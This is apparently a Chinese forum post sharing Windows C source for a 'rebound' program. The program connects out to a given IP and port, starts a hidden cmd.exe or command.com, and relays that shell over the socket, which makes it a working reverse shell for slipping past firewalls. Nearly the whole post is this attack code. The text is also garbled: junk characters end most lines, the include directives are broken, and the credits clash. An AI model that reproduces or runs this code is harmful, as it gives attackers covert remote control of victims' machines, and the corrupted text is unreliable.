这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +tfmBZl^
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/* ============================== axU!o /m>
Rebound port in Windows NT -Rjn<bTIy
By wind,2006/7 ~ D3'-,n[
===============================*/ @!%<JZEz3
#include 22tY%Y9
#include 6EX:qp^`
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#pragma comment(lib,"wsock32.lib") 9Od
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void OutputShell(); 8qS)j1.!
SOCKET sClient; 1%EY!14G+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !3yR?Xem}
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void main(int argc,char **argv) v%zI~g.L
{ _?q\tyf3
WSADATA stWsaData; gvA&F|4
int nRet; Htsa<tF
SOCKADDR_IN stSaiClient,stSaiServer; (CZRX9TT1
lzS"NHs<g(
if(argc != 3) 1`aFL5[0$
{ 'ARQ7 Q[`
printf("Useage:\n\rRebound DestIP DestPort\n"); `;cKN)Xk
return; A*\4C3a'%
} 8VMq>-
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1f[!=p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D*D83z OzN
& rw|fF|]
stSaiClient.sin_family = AF_INET; C:4h
stSaiClient.sin_port = htons(0); P7u5Ykc*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <PV @JJ"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BvX!n"QIb
{ +hXph
printf("Bind Socket Failed!\n"); zT_{M
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return; -pqShDar|
} D"A`b{z
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hC}
stSaiServer.sin_family = AF_INET; !xe<@$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C=PBF\RkKu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;2dhue
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IUu[`\b=
{ w:N\]=Vh
printf("Connect Error!"); $)7-wCl</
return; p(0!TCBs
} (''`Ce
OutputShell(); yRieGf1'SD
} B*D`KA
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void OutputShell() ;Rwr5
{ Iupk+x>
char szBuff[1024]; yRvq3>mU
SECURITY_ATTRIBUTES stSecurityAttributes; OSkZW
OSVERSIONINFO stOsversionInfo; sBRw#xyS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t}'Oh}CG
STARTUPINFO stStartupInfo; 5vP*oD
char *szShell; cp.)K!$
PROCESS_INFORMATION stProcessInformation; <'GI<Hc
unsigned long lBytesRead; N@j|I* y|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NsJUruN
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )*s.AFu]7x
stSecurityAttributes.lpSecurityDescriptor = 0; b,318R8+G
stSecurityAttributes.bInheritHandle = TRUE; n$b/@hp$z
m! p'nP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GhpH7%s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X.T.^}=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vZXyc*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VnIJ$5Y
stStartupInfo.wShowWindow = SW_HIDE; q~l&EH0
stStartupInfo.hStdInput = hReadPipe; .}CPZ3y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i 3?zYaT
;'vY^I8-L
GetVersionEx(&stOsversionInfo); 1Z`<HW"
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switch(stOsversionInfo.dwPlatformId) \".3x
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{ I S!B$
case 1: *y N,e.t
szShell = "command.com"; =AR'Pad
break; $fC= v
default: #Va@4<4r
szShell = "cmd.exe"; mH}AVje{
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break; q"]-CGAa
} XM8C{I1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -?e~S\JH
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send(sClient,szMsg,77,0); &:{|nDT_2
while(1) ADHe![6q
{ {}lw%d?A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YTYYb#"Q
if(lBytesRead) "=/XIM.
{ '-ACNgNn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (mz a&WF7
send(sClient,szBuff,lBytesRead,0); J-I7K!B
} L'['7
else r}vI#;&
{ .g4bV5ma3
lBytesRead=recv(sClient,szBuff,1024,0); f#^%\K:YYR
if(lBytesRead<=0) break; K<|eZhp~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n|^-qy'w
} YR[Ii?
} eUBk^C]\
6= 9
return; *(r85lEou)
}